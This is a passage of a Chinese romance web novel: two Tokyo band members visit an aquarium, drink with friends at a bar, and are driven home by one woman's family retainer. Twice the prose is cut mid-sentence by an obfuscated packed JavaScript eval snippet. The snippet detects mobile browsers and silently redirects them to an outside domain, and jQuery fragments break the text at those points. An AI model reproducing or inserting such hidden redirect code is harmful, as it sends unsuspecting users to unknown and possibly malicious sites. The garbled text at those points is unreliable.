她没有立刻去售票处,而是看着林光,很认真地说:“这里……很安静。蓝色的光,慢慢游动的鱼,就像时间都变慢了一样。每次觉得……喘不过气的时候,来这里待一会儿,就会好很多。”你能明白吗?那种被巨大而沉默的生命注视着,反而觉得自己那些烦恼变得很渺小的感觉。 “听起来很棒。”林光迎上她的目光,真诚地回应。她理解了这份分享背后的重量。 一进入馆内,世界仿佛瞬间被隔离开来。喧嚣被过滤成模糊的背景音,取而代之的是循环水流低沉的轰鸣和悠扬空灵的背景音乐。空气凉爽而湿润,带着海水特有的、微咸的气息。 光线变得幽暗,被巨大的水族箱染成一片深邃、流动的蓝。无数色彩斑斓、形态各异的鱼群在眼前缓缓游弋,如同移动的活体壁画。 星野一进来,就像变了个人。她不再说话,只是默默地走着,目光追随着鱼群的轨迹,呼吸似乎也变得更加绵长深沉。她在一个巨大的主缸前停下,仰着头,看着鳐鱼扇动着翅膀般的胸鳍,优雅地滑过头顶的亚克力穹顶,投下巨大的、缓慢移动的阴影。 林光安静地跟在她身后半步的距离,没有打扰。她看着星野的侧脸被蓝色的水光映亮,那双总是盛满笑意或热情的眼睛此刻显得有些空洞,倒映着游动的鱼群,仿佛她的灵魂也暂时游离了出去,融入了这片深蓝。 她们就这样一前一后,沉默地穿梭在各个展区之间。不需要交谈,这份共同的沉默本身就是一种陪伴和理解。 在一个相对僻静、光线尤其昏暗的角落,展示着一些生活在深海的小型发光生物。星野在这里停驻了最久。她几乎把额头贴在了冰凉的玻璃上,看着那些在模拟永夜环境中闪烁着微弱生物光的小点,像凝视着遥远的星空。 林光站在她身后,看着她单薄的背影。在那几乎与黑暗融为一体的环境里,星野的肩膀微微抽动了一下。非常轻微,但林光捕捉到了。 她没有上前,没有出声安慰,只是默默地、更近地站到了她的身后,形成了一个无声的、保护的姿态。她能感觉到星野身上散发出的那股浓重的悲伤,正被这片蓝色的寂静缓缓地吸收、稀释。 不知过了多久,星野轻轻呼出一口气,转过身来。她的眼睛在暗处显得格外明亮,似乎有些湿润,但情绪看起来平静了许多。她对上林光安静的目光,有些不好意思地弯了弯嘴角,声音很轻: “大家都在看鱼,没有人在看我。” 林光点了点头,表示理解。她看向身旁的水族箱,一条形态奇特的鱼正慢吞吞地游过,瞪着一双懵懂的大眼睛。她忽然低声开口,语气是一贯的平静,却说出了一句让星野微微怔住的话: “它看起来……有点呆。” 星野顺着她的目光看去,看到那条鱼傻乎乎的样子,再结合林光那一本正经的评价,忍俊不禁,“噗嗤”一声笑了出来。积郁在心口的沉闷感,仿佛也随着这声轻笑被戳破了一个小口,泄露出些许。 笑容重新回到她脸上,虽然还带着一点疲惫,却真实了许多。她自然地伸出手,碰了碰林光的手背,指尖冰凉。 “走吧,”星野的声音轻快了些,“带你去看看我最喜欢的海马区。” 林光感受着手背上转瞬即逝的凉意,看着眼前重新焕发出些许生机的星野,点了点头。 幽蓝的水光继续流淌,无声地包裹着她们一前一后、继续向前走去的身影。她们穿过色彩斑斓的珊瑚礁隧道,来到了一个相对安静、光线柔和的展区。这里陈列着一个个或高或矮的独立水箱,里面居住着形态各异的海马和它们的近亲——海龙。 “这里。”星野的声音不自觉地放轻了,她拉着林光的衣袖,在一个不算起眼的水箱前停下,眼睛一下子亮了起来,像是孩子终于找到了藏宝盒。“我最喜欢这里。” 水箱里,几尾枯黄色的侏儒海马几乎与它们栖息的那簇红藻融为一体,不仔细看根本无法发现。它们用卷曲的尾巴勾住藻枝,随着水流微微晃动,姿态悠闲得令人嫉妒。 星野几乎把整张脸都贴在了玻璃上,专注地寻找着,然后兴奋地用手指极小幅度地指给林光看:“看那里!那只肚子鼓鼓的,是海马爸爸,它正在孵卵呢!”她的语气里充满了纯粹的、孩子般的惊奇和温柔,暂时忘却了之前的低落。 林光顺着她指的方向看去。果然,一只海马爸爸腹部下方的育儿袋微微鼓起,它正小心翼翼地调整着姿势,保护着未来的宝宝。这种自然界里雄性承担孕育责任的奇特现象,带着一种沉静而强大的生命力。 林光没有像星野那样贴得很近,她只是微微倾身,目光沉静地观察着。她的侧脸在水箱幽蓝的光线下显得格外专注。过了一会儿,她才低声说:“很不容易。”不知道是在说那只海马爸爸,还是在说身边这个终于暂时放松下来的人。 星野闻言,转过头来看她。两人在朦胧的光线中对视了一眼,有一种无需言说的理解在空气中悄悄蔓延。星野笑了笑,没说话,又转回头继续安静地看着那些神奇的小生物。她们就这样并肩站着,在一片静谧的蓝色里,分享着一段只属于她们和这些微小生命的宁静时光。 离开海马区,她们步入了一个完全不同的世界——水母梦幻大厅。 这里的灯光几乎完全熄灭,只剩下一个个独立的大型圆柱水箱被自身的光芒照亮,如同一个个巨大的、会呼吸的水晶柱。无数通体透明的水母,在水箱中随着舒缓的音乐悠然飘浮,一张一翕,如同宇宙中缓慢律动的星辰,又像是深海绽放的幽灵之花。光线不断变幻着颜色,从幽蓝到紫粉,再到淡淡的金黄,将整个空间渲染得光怪陆离,如梦似幻。 “哇……”星野忍不住发出一声极轻的惊叹,被眼前的景象震撼了。这里的氛围比海马区更抽离现实,更容易让人放下所有心防。 她们在一个最大的水母箱前停下。巨大的海月水母像一把把透明的伞,优雅地划过水面,拖着长长的、如梦似幻的触手。 光线变幻,将星野的脸庞也映照得忽明忽暗。那份强撑起来的轻松渐渐褪去,安静的环境和梦幻的景象似乎更容易让人陷入沉思。她看着那些美丽却短暂、柔软又没有骨骼的生物,眼神又开始有些飘忽,仿佛联想到了自身的一些什么。 林光敏锐地察觉到了她情绪的细微变化。她没有看她,目光依然停留在那些水母上,却忽然开口,声音在空旷安静的大厅里显得格外清晰,又异常平静: “它们没有心脏,也没有大脑。” 星野愣了一下,从自己的思绪中被拉回,疑惑地看向林光。 林光依旧看着水箱,侧脸在变幻的光线下显得有些不真实,她继续用那种陈述事实的平淡语气说:“但活了七亿年。比人类久得多。” 这句话像一颗小石子投入平静的湖面。它听起来像一句冷冰冰的科普,但在此情此景下,从林光口中说出,却奇异地蕴含着一种力量——一种超越了眼前烦恼的、来自更宏大时空的视角。 星野怔怔地看着她,又看了看那些在亿万年间似乎从未改变过节奏、悠然漂浮的水母。自己那点痛苦和纠结,在如此漫长的时间尺度面前,仿佛忽然被缩小了,变得不再那么具有压倒性。 她忽然明白了林光笨拙的安慰。她没有说“别难过”,也没有说“会好的”,而是告诉她:你看,这些看似最柔软、最没有凭依的东西,反而穿越了最漫长的时光。 一种巨大的、难以言喻的柔软情绪瞬间包裹了星野。她悄悄地、小心翼翼地将自己的手,塞进了林光自然垂在身侧的手里。 林光的手指似乎僵硬了一瞬,但没有抽开。过了一会儿,她微微动了一下,然后极其缓慢地、有些笨拙地回握住了星野的手 两人的手在变幻的、梦幻般的光线下轻轻交握,站在巨大的、散发着幽光的水母箱前,像站在了整个宇宙的中心,又像是共享了一个关于永恒和柔软的、无声的秘密。 所有的言语都显得多余。只有水母在无声起舞,光影在不断流淌,而交握的掌心温度,比任何语言都更能传递安慰和理解。幽蓝变幻的光影渐渐被抛在身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403825|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,水母大厅那近乎失重的梦幻感如同潮水般退去。交握的掌心传来稳定而真实的温度,将星野有些飘忽的思绪轻轻拉回现实。 林光的手在她手中微微动了一下,并非抽离,而是一个极其自然的、引导方向的细微力道。星野顺着那力道,跟着她走出了水母展厅的出口,重新融入了光线稍亮、人流也略微增多的主通道。 “接下来……刚才在大厅看见,四点有海豚表演,去看吗?”林光的声音很轻,仿佛还带着水母大厅里那份不愿打破的宁静。她的手依然自然地握着星野的,没有立刻松开。 星野感受着指尖传来的、略带凉意却坚定的触感,心底那片因水母而起的、关于脆弱与永恒的波澜渐渐平复。她深吸了一口水族馆里特有的、混合着海水与淡淡消毒水气味的空气,抬头看向通道上方的指示牌。 “啊,”她像是突然想起了什么,眼睛微微亮起,侧过头对林光说,“这个时间……确实赶得上最后一场海豚表演。”她抬手指了一个方向,“表演场好像是这个方向。” 她的语气里带着一丝不易察觉的期待,像是想要分享另一件珍爱的事物。分享“秘密基地”里最精彩的固定节目。 “好。”林光点头,目光也扫了一眼指示牌,确认了方向。她这才非常自然地、仿佛不经意般松开了握着星野的手。然而,她并没有立刻走向表演场,而是目光扫视了一下周围,落在了不远处的一个纪念品商店兼便利点。 “稍等我一下。”林光对星野说了一句,便快步走向那个小店。星野有些疑惑地看着她的背影。 很快,林光就回来了,手里拿着两件折叠好的简易透明雨衣。 “给。”她将其中一件递给星野,“我们去坐视角最好的那个位置。” 星野愣了一下,接过那件轻薄的雨衣,心里却像被什么东西轻轻撞了一下。这种细致入微的体贴,既熟悉又陌生。她看着林光平静的侧脸,忽然觉得,这个看起来有些冷峻的后辈,其实有着非常温柔的内里。 “谢谢你,小光……”星野的脸上绽开一个由衷的笑容。 她们沿着通道走去。越靠近表演场,周围的游客明显增多,大多是带着孩子的家庭或是成双成对的情侣,空气中开始弥漫开一种热闹的、期待的氛围,与水母区的静谧截然不同。广播里也开始用欢快的音乐和甜美的女声提醒着海豚表演即将开始。 穿过一个售卖鲸鲨和海豚玩偶、爆米花和饮料的纪念品商店区域,眼前豁然开朗。一个巨大的、如同半露天剧场般的海豚表演场呈现在眼前。蔚蓝色的表演池在阳光下泛着粼粼波光,看台呈扇形环绕,已经坐了不少观众。林光牵着星野,坐在无人落座的水池正前方观众席上,她们默契地相视一笑,拆开了雨衣穿上。冰冷的金属座椅带着初冬的凉意,表演尚未开始,欢快的音乐在场馆内回荡,训练师们正在池边做着最后的准备,几只宽吻海豚在池中飞快地游弋,时不时跃出水面,引来孩子们一阵阵兴奋的惊呼。 “哇,跳得好高!好厉害!” 随着海豚们做出各种高速旋转、强力尾鳍拍击水面的动作,清凉的水花时不时地泼洒向前排观众区。每次水花袭来,周围都会响起一阵夹杂着惊叫和欢笑的骚动。她们的透明塑料雨衣虽然简单,却有效地将调皮的水珠隔绝在外。看着周围有些措手不及、被淋得略显狼狈却依然开心的观众,穿着雨衣的她们反而有一种准备了“秘密武器”的小小优越感和安心感,更能全身心地享受表演的乐趣。 表演在热烈的气氛中结束,观众们开始陆续退场。星野脱下雨衣,还有些意犹未尽,看着海豚们跟着训练师游回后台,才长长地、满足地舒了一口气。 星野和林光随着人流缓缓站起身。星野脸上还洋溢着兴奋的红晕,眼睛亮闪闪的,仿佛盛满了刚才表演池里粼粼的波光。 “真的太精彩了!最后那个集体空翻,每次看都觉得好震撼!”她一边跟着人群往外走,一边忍不住对林光感叹,语气里是毫不掩饰的激动和快乐。 “嗯。”林光点头附和,她虽然表情变化不大,但眼神比平时柔和许多,显然也享受其中,“它们的协调性和力量,比人类强太多了。”她的评价依旧带着点客观分析的色彩,但语气是舒缓的。 她们顺着指示牌,走向出口。巨大的玻璃隧道逐渐被抛在身后,周围的光线从幽蓝的水色慢慢变为正常的室内光,最后是出口处涌入的、黄昏时分略显刺眼的自然光线。 推开水族馆最后的玻璃大门,午后的阳光已然变得倾斜而温柔,给一切都镀上了一层金边。微凉的海风立刻迎面拂来,带着咸涩的气息,吹散了馆内那种恒温恒湿的、略带封闭感的空气,也轻轻扬起了星野额前的碎发。 “感觉心情好像被洗过一样,真好。”她喃喃自语道,然后转向林光,眼睛弯成了好看的月牙,“谢谢你今天陪我来,小光。” 林光将目光从远处的晚霞上收回,落在星野笑得毫无阴霾的脸上。她没有说话,只是微微摇了摇头,表示“不用谢”。 就在这时,星野包里的手机传来一连串清脆的消息提示音。她掏出来看了一眼,脸上立刻绽放出更大的笑容。 “是纱由里她们!”她兴奋地把手机屏幕展示给林光看,聊天群里正滚动着消息,远藤纱由里发起了临时酒局邀约,「TheAldgate」的名字赫然在目。 “她们问我们要不要过去一起喝一杯?”星野的语气充满期待,带着一丝询问看向林光,“就在附近,怎么样,今天……要不要把‘放松’进行到底?” 黄昏的光线柔和地洒在两人身上,将影子拉得很长。从充满欢呼声的表演场,到安静吹着海风的出口,再到一个充满未知热闹的酒吧邀约。一天的交集,似乎还将继续。 林光看着星野亮晶晶的、带着期盼的眼神,又瞥了一眼那家闻名已久的酒吧名字,几乎没有犹豫,点了点头。 “好。”她简洁地回应道。 “太好了!”星野开心地几乎要跳起来,立刻低头在手机上飞快地回复起来。 两人并肩,朝着停车场的方向走去,将水族馆的梦幻世界留在身后,步入了东京湾畔华灯初上的黄昏现实之中。 13. 营业练习(4) 摩托车平稳地停在六本木一丁目附近一条不那么起眼的街边。「TheAldgate」的招牌是低调的黄铜色,橱窗里透出温暖而并不炫目的灯光。发动机低沉的声音熄灭后,周遭恢复了都市夜晚的喧嚣。 林光停好车,取下头盔,目光在酒吧门口停留了片刻,才转向星野:“是这里?” “嗯!”星野也取下头盔,整理了一下被压乱的头发,语气带着点期待,“「TheAldgate」,你也听说过吧?圈里很多人推荐的酒吧,说是音响和酒单选品都很棒,不容易被打扰。”她注意到林光打量环境的眼神。 林光微微颔首,证实了星野的说法:“嗯。听说过。一直想来看看,但总抽不出时间。”她的语气里带着一丝不易察觉的认可,似乎对这家酒吧的声誉有所了解且抱有良好印象。 推开厚重的木门,内部是传统的英式pub装修,木质结构吧台被打磨得温润,深色皮革卡座,灯光偏暗但足够看清彼此。空气中混合着麦芽啤酒、威士忌和炸物的香气,背景播放着不算吵闹的布鲁斯音乐。远藤纱由里、佐藤明奈、影山有希和星宮希美早已占据了一张靠里的长桌,正笑着聊天。 看到星野和林光进来,她们立刻挥手。 “夜海!这里!” “哦呀?这不是林光酱吗?好久不见!”远藤纱由里第一个认出林光,笑着打招呼,语气熟稔而友好。 佐藤明奈也笑着点头示意:“上次音乐节后台见过一面,没想到你和夜海成了室友。” 影山有希和星宮希美也纷纷笑着打招呼,态度亲切自然,显然是知道并且认识林光的,完全是对待圈内靠谱后辈的态度。 这种意料之中的熟稔让星野松了口气,也让林光放松了些许戒备。她微微躬身,礼貌地回应:“纱由里前辈,明奈前辈,有希前辈,希美前辈,晚上好。打扰了。” “什么打扰,快坐快坐!”星宮希美热情地挪出位置,“夜海这家伙,这么厉害的室友入住了也不早点带出来给大家认识!” 大家热情地给林光挪出位置。佐藤明奈自然地把酒单推给林光,笑道:“小光,听说你很懂行?这里的单一麦芽很不错哦,看看有没有你感兴趣的。”语气是前辈对后辈的友善和一点考校的意味。 林光接过酒单,并没有客气,目光迅速而专业地扫过威士忌那栏。 “的确很久没来了,”她应和着刚才的话,然后直接对酒保报出一个名字,“一杯余市10年,加冰,谢谢。” 这个选择让在座几位露出了“果然懂行”的赞许表情。 “哇哦,余市!有品位!” “看来是真行家!” 酒吧的招牌小吃——炸鱼薯条、牛肉派、烤香肠拼盘——也陆续上桌。星野夜海的眼睛瞬间亮了起来。 “我开动了!”她双手合十,声音雀跃,然后几乎是立刻进入了“战斗状态”。她吃东西的样子和她舞台上的优雅姿态截然不同,带着一种专注而旺盛的活力,腮帮子很快被食物塞得鼓鼓囊囊,像只储存粮食的仓鼠,速度惊人却又奇异地并不显得粗鲁,反而让人看了很有食欲。 “夜海还是这么能吃啊,”远藤纱由里笑着调侃,语气里满是宠爱,“每次看她吃饭,都觉得东西特别香。” 佐藤明奈也点头附和:“是啊,和她一起吃饭总会忍不住多点很多。” 林光端着那杯琥珀色的威士忌,坐在喧闹的角落。她的话依然不多,但神情比工作时要放松的多。她认真倾听前辈们讨论最近的舞台剧或音乐项目,在被问到的时候,偶尔在专业问题上言简意赅地发表一两句精准的看法。 当星野玩简单的骰子游戏输掉后耍赖时,林光的嘴角会扬起一个清晰的、无奈的弧度。她的目光偶尔落在星野面前快速消失的食物上,眼中闪过一丝几不可察的惊讶和……或许是觉得有趣的神情,也许许吃也是星野前辈放松心情的方式。 杯中的酒水起起伏伏,佐藤明奈轻轻晃着杯中的威士忌,目光温和地落在星野身上,语气带着一丝不易察觉的叹息,开口打破了轻松的氛围: “说起来……夜海,”她的声音比刚才柔和了许多,“前几天,在NHK的录制现场,在很远的地方看到小春了。”她用了加藤春树的昵称,表明了她的熟稔。 热闹的桌席瞬间安静了几分。远藤纱由里放下了正要拿薯条的手,影山有希和星宮希美也收敛了笑容,关切地看向星野。 星野握着杯子的手指微微收紧了一下,脸上的笑容淡了些,但并没有立刻崩溃,只是轻轻“嗯”了一声,垂下眼帘,盯着杯子里晃动的液体。 佐藤明奈继续轻声说道,语气里没有评判,只有观察和一丝无奈:“她看起来……瘦了很多,虽然还是在笑,和工作人员打招呼也很周到,但整个人像是被抽掉了一部分精气神,安静得让人心疼。” 远藤纱由里接话道,她的性格更直爽一些:“你们两个啊……真是的。明明都是那么好的人。”她叹了口气,“事务所的人私下也在传,说加藤家那边……压力给得不是一般的大。她那个古板的老爹,怕是根本没法接受这种事吧?” 影山有希撑着下巴,语气有些愤愤不平:“这都什么年代了……而且小春自己又不是那种离了家族就活不下去的人,她现在的地位也是自己一拳一脚打出来的啊。真是想想就让人生气。” 星宮希美拍了拍星野的肩膀,试图用轻松一点的语气安慰:“好啦好啦,不说这些不开心的了。反正呢,我们都觉得挺可惜的。以前你们俩偷偷摸摸给我们塞狗粮的时候,虽然觉得你们胆子真大,但也真是挺配的。”她这话是对星野说,但眼神也瞟了一眼旁边安静倾听的林光,仿佛在向她解释什么。 佐藤明奈最后总结道,她的目光再次变得锐利了一些,但这次是针对事情本身:“总之,夜海,事情过去了就过去了。我们提起这个,不是想惹你难过。只是想说,我们都明白是怎么回事,你也别一个人钻牛角尖,觉得都是自己的错或者怎么样。有些战斗,不是光靠‘喜欢’就能赢的。” 朋友们你一言我一语,没有过多追问细节,更多的是表达一种“我们知道了,我们理解,我们心疼”的态度。星野一直低着头,听着朋友们的话,鼻尖微微发红,但没有哭出来。她只是轻轻点了点头,声音有些哽咽:“……谢谢。我知道的。” 这时,一直安静坐在旁边、小口品着余市威士忌的林光,忽然将自己面前那碟几乎没动过的、烤得恰到好处的香肠拼盘,再次默默地推到了星野面前。这个举动吸引了所有人的目光。星野抬起头,看了看香肠,又看了看林光平静无波的侧脸,突然“噗嗤”一声,带着泪花笑了出来:“光小姐……你这是把我当宠物在喂吗?” 气氛瞬间被这句带着哭腔的玩笑话打破,大家都笑了起来。 远藤纱由里揶揄道:“看来有人找到了新的投喂对象啊!” 佐藤明奈也意味深长地笑了笑:“嗯,看来是不用我们太担心了。” 她单手托腮,眼神带着醉后的好奇和一丝前辈的调侃,目光转向了始终安静但存在感极强的林光。 “不过话说回来……”她拖长了语调,成功吸引了所有人的注意,“夜海这边我们是暂时放心了。那……小光呢?” 林光握着杯子的手几不可察地顿了一下。 明奈笑着继续问,语气友善但探究:“长得这么帅气,打鼓又厉害,肯定很受欢迎吧?从来没见过你身边有什么人,是要求太高了,还是……有什么精彩的故事没告诉我们呀?”这个问题带着醉后的直白和亲密,也代表了其他几位朋友的好奇。 桌面上瞬间安静了一瞬,酒桌上所有人的目光都聚焦在林光身上。 林光的身体出现了极其轻微的僵硬。她没有立刻回答,眼神从明奈脸上移开,落向自己杯中的琥珀色液体,仿佛那里面藏着答案。这是一种明确的回避姿态。她周围的空气似乎瞬间降温了几度。 就在这短暂的、略显尴尬的沉默即将蔓延开时—— “前辈……这个问题我不能随便回答……事务所那边……” “喂!明奈!” 星野夜海带着明显醉意、但异常清晰的声音响了起来。她几乎是立刻转过身,伸出手臂,像是老母鸡护小鸡一样,虚虚地挡在了林光身前,脸颊红扑扑地瞪着佐藤明奈。 “不可以问这种问题!”她的语气带着醉后的蛮横和撒娇,但维护之意显而易见,“小光会害羞的!而且……而且!” 她似乎想找个更强大的理由,脑子在酒精里转了半天,终于灵光一闪,大声宣布:“而且这是商业机密!对吧小光!我们‘营业’合同里写了不能乱说的!”她把这个她们之间心知肚明的“营业”梗搬了出来,用一种胡搅蛮缠的方式试图堵住朋友的嘴。 这个离谱的理由让其他人都愣了一下,随即爆发出善意的哄笑。 “小家伙,警惕性还是不错的嘛。” “哈哈哈什么商业机密啊!” “夜海你醉傻了吧!” 远藤纱由里也笑着打圆场,拍了拍明奈的肩膀:“好了好了,明奈,别为难小光了。看她都快钻到桌子底下去了。”她巧妙地给了林光一个台阶下。 影山有希也点头附和:“就是,每个人都有自己的节奏嘛。林光一看就是专注事业的类型。” 星野见大家不再追问,这才满意地缩回手,得意洋洋地冲林光扬了扬下巴,仿佛在说“看,我厉害吧”。然后,她又非常自然地把林光刚才推过来的那碟香肠,叉起最后一块,塞进嘴里,用实际行动掩饰自己刚才略显激动的维护。 林光始终微低着头,直到话题转移,才几不可察地松了口气。她抬起眼,飞快地瞥了一眼身边正鼓着腮帮子吃东西、仿佛什么都没发生的星野,眼神深处闪过一丝极其复杂的、难以解读的情绪——有对解围的感激,有对“商业机密”这个借口的无奈,或许还有一丝……对这份维护的触动。 她什么也没说,只是端起酒杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403826|184388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将剩下的一点余市威士忌轻轻饮尽。冰冷的玻璃杯壁,似乎也无法完全冷却指尖刚刚升起的那一点微妙的温度。 酒吧内的喧嚣和暖意被隔绝在身后,六本木夜晚微凉的空气瞬间包裹了两人。星野下意识地紧了紧大衣,脸上还带着微醺的红晕,眼神却因为刚才关于过去的沉重话题而显得有些飘忽。 “小光,”她转过头,声音带着点懒洋洋的醉意,“要不要叫出租车?机车不能骑了吧?” “嗯。”林光点点头,拿出手机晃了晃,屏幕上是刚刚发送出去的消息,“我叫了车。也会有人来帮我把摩托骑回去。”她的安排一如既往地简洁周全。 这时,远藤纱由里和佐藤明奈她们也吵吵嚷嚷地走了出来,兴致高昂地提议:“夜海,林光酱,要不要再去第二摊?我知道附近有一家……” 星野立刻挽住林光的胳膊,像是找到了完美的借口,带着歉意的笑容对朋友们摆摆手:“啊,抱歉抱歉!明天一大早还要去公司拍新的公式照,状态太差会被幸子小姐骂的!下次,下次一定!”她的语气撒娇又坚决。 朋友们了然又揶揄地笑了,也没再强求,互相道别后嬉笑着融入了涩谷的人流。 就在林光和星野刚在路边站定不到一分钟,一辆庞大且极具压迫感的黑色凯迪拉克凯雷德如同幽灵般悄无声息地滑到她们面前,精准地停下。其强大的气场与周围时尚轻快的街区氛围形成一种奇特的对比。 副驾驶车门打开,一位身着合体黑色西装、身形精干、表情严肃的年轻男子利落地下车,对着林光微微躬身,没有多余言语。 林光似乎早已料到,非常自然地从口袋里掏出机车钥匙递给他。男子双手接过钥匙,再次一颔首,便转身快步走向林光停在不远处的黑色机车,动作干净利落,训练有素。 几乎同时,驾驶座的车门打开,一名梳着背头的中年男子从主驾走了下来。他同样穿着西装,年纪稍长,气质沉稳如山。他目光先快速扫过周围,然后落在林光身上,微微点头:“光小姐。”他的声音低沉平稳,带着一丝不易察觉的关西口音。随即,他看向星野,也礼貌地致意:“星野小姐。”态度恭敬却不过分谦卑。 他拉开宽大厚重的后座车门,用手护在门框上:“请上车。” 星野被这突如其来的、电影般的阵仗弄得有点懵,下意识地跟着林光的动作钻进了车里。 车内是另一个世界。极致的静谧将外面的世界完全隔绝,奢华的内饰在柔和的氛围灯下流淌着温润的光泽,空气中弥漫着高级皮革和淡淡木质调的香气。 司机平稳地启动车辆,汇入车流。庞大的SUV在他的操控下异常稳健。 星野好奇地透过深色的隐私玻璃看向窗外流光溢彩的街景,兴奋地用胳膊肘轻轻碰了碰身边的林光,压低声音说:“小光……你叫的这是什么车啊?也太厉害了吧!这得是什么级别的专车服务?” 林光还没有回答,正在开车的司机通过后视镜,与林光的目光有了一瞬间的接触,两人眼中都闪过一丝难以察觉的笑意。 “不是专车。”林光的声音很平静,带着一丝淡淡的调侃,“这是我自己的车。” “诶?!!”星野瞬间转过头,眼睛瞪得圆圆的,酒都醒了一半,难以置信地看着林光,又看看车内这难以置信的空间和奢华感,“你、你自己的车?!这……这车……” 她一时间找不到合适的词,目光在前排驾驶座的中村隼和林光之间来回移动,忽然觉得身边这位鼓手后辈的形象变得更加神秘和深不可测。 “这位是我的叔叔,你可以喊他中村先生。” “您好,星野小姐,鄙人姓中村,中村隼,请多指教。” 中村隼专注地开着车,寒暄没能让他的表情发生任何松动。 车辆很快驶入涩谷那些安静且管理严格的街道,稳稳地停在了星野公寓楼下的路边。 中村隼下车,为她们打开车门。 在林光和星野下车后,中村隼并没有立刻离开,而是对林光低声说道:“光小姐,您之前提过的那几家店,秋冬的新品目录和部分成衣已经送到了。您看什么时候方便过目一下?” 林光想了想:“明天下午之后吧,时间确定了我会告诉你。” “明白了。”中村隼微微躬身,“那么,晚安。光小姐,星野小姐。” 说完,他便回到驾驶座,那辆黑色的巨兽无声地滑入夜色,消失不见。 留下星野站在原地,还在消化刚才的信息量,晚风吹起她的发丝。她看着身旁一脸平静的林光,感觉今晚的“惊喜”似乎一个接一个。 “走吧,前辈。”林光的声音打断了她的思绪,示意她该上楼了。 星野眨了眨眼,终于从震惊中回过神来,脸上重新浮现出好奇又兴奋的笑容,快步跟上林光:“等等我!小光,你刚才说的是真的吗?那车真的是你的?还有那个中村先生……”她的问题像连珠炮一样,在公寓大堂温暖的光线下回荡。 14. 北海道之行(1) 公寓大堂温暖的光线柔和地洒下,将室外六本木夜晚的喧嚣与寒意彻底隔绝。光滑的大理石地面映出模糊的身影,空气中弥漫着中央空调送出的、带着淡淡香氛的暖风。星野的问题像欢快的雀鸟,围绕着突然变得神秘的室友打转,她的声音在空旷安静的大堂里显得格外清晰。 “那车真的是你的?中村先生是司机还是……?”星野的好奇心完全驱散了之前的复杂情绪,眼睛亮晶晶地看着林光,几乎忘了身体的疲惫。 林光按下电梯上行按钮,金属门无声滑开。她率先走进去,身影在镜面轿厢壁上显得有些疏离。听到问题,她似乎微微顿了一下,指尖在楼层按钮上停留了一瞬才按下“17”。电梯平稳上升带来的轻微失重感中,她侧过脸,嘴角噙着一丝极淡的、对于星野这种直白反应感到些许无奈的弧度。她太能理解星野的这份好奇,以至于就算是回答过一百遍的敷衍回答,此刻也变成了深思熟虑的含糊其辞。 “嗯,车确实是我自己的,不过不是你想的那样。”她选择了一个模糊的说法,目光没有直视星野,而是看着跳动的楼层数字,“中村先生……是我家里在日本的老员工,从我到日本的第一天开始,他就像叔叔一样照顾我的生活。”她省略了“安保”和“司机”这两个词,语气平静,却带着一种不易察觉的、希望话题就此打住的意味。 星野敏锐地捕捉到了这份微妙的回避。她看着林光映在镜中的侧脸,那上面没有什么表情,却并非冷漠,只是一种习惯性的保留。虽然此刻好奇心旺盛,但她也懂得适可而止,尤其是面对这位看似温和实则界限感极强的后辈。她眨了眨眼,把更多追问的话咽了回去,只是轻声了然,语气里残留着惊叹,但不再强求。“小光,你果然很厉害呢。”这句话更像是对自己猜测的总结,带着点调侃,也带着点理解。 电梯“叮”的一声到达楼层。林光似乎几不可察地松了口气,率先走出电梯。“不是你想的那样。”她再次轻描淡写地带过,侧身站在家门口,星野看她乖乖等待模样,这才回过神来,自己还没把从加藤那拿回来的钥匙给到自己的室友。 室内一片寂静,只有她们归来时自动亮起的几盏暖黄色壁灯,驱散了玄关的黑暗。空气中还残留着一点点早餐粥的温香和清洁剂的味道,与室外带回来的冷空气混合,形成一种既熟悉又陌生的气息。 “来,这是钥匙。” “谢谢。” “我可以先去洗吗?从酒吧出来的时候,外套沾了烟味。”星野甩掉高跟鞋,赤脚踩在微凉的地板上,一边说着一边揉着有些酸胀的脖子走向自己房间取换洗衣物,动作间还带着些许酒后的懒散。 “好。”林光应了一声。她看着星野的背影消失在走廊尽头,然后才轻轻关上门,将喧嚣彻底锁在门外。 巨大的寂静瞬间笼罩下来。 她独自站在玄关,静静听了片刻。很快,主卧浴室的方向传来了隐约的、淅淅沥沥的水声,像是隔了一层纱幕的雨,打破了绝对的安静,却又反而衬得这客厅更加空旷宁静。 林光这才真正松懈下来。她慢慢走到客厅中央,没有开主灯,任由壁灯和窗外都市的霓虹光影勾勒出家具模糊的轮廓。巨大的落地窗外,是璀璨如星河般的东京夜景,车流如光轨般穿梭不息,但那繁华却被厚厚的玻璃有效隔绝,只剩下无声的光影表演。 她在沙发上坐下,身体陷入柔软舒适的垫子里,发出一声几不可闻的叹息。皮革表面还残留着一点人体离去后的微温,不知是星野先前坐在这里留下的,还是错觉。她向后靠去,闭上眼睛,指尖轻轻按压着太阳穴。 家里…星野刚才的问题轻轻叩击着她的心扉。该怎么解释呢?解释那个庞大、复杂、充满了无形规则与过往阴霾的家族?解释中村先生并不仅仅是司机,更是舅舅放在她身边的保护者与监督者?解释那辆凯雷德所代表的、与她舞台上鼓手身份截然不同的另一个世界?……太麻烦了。而且,似乎也没有必要。她们只是…室友,以及暂时的“营业”伙伴。保持一点距离和神秘感,对彼此都好。 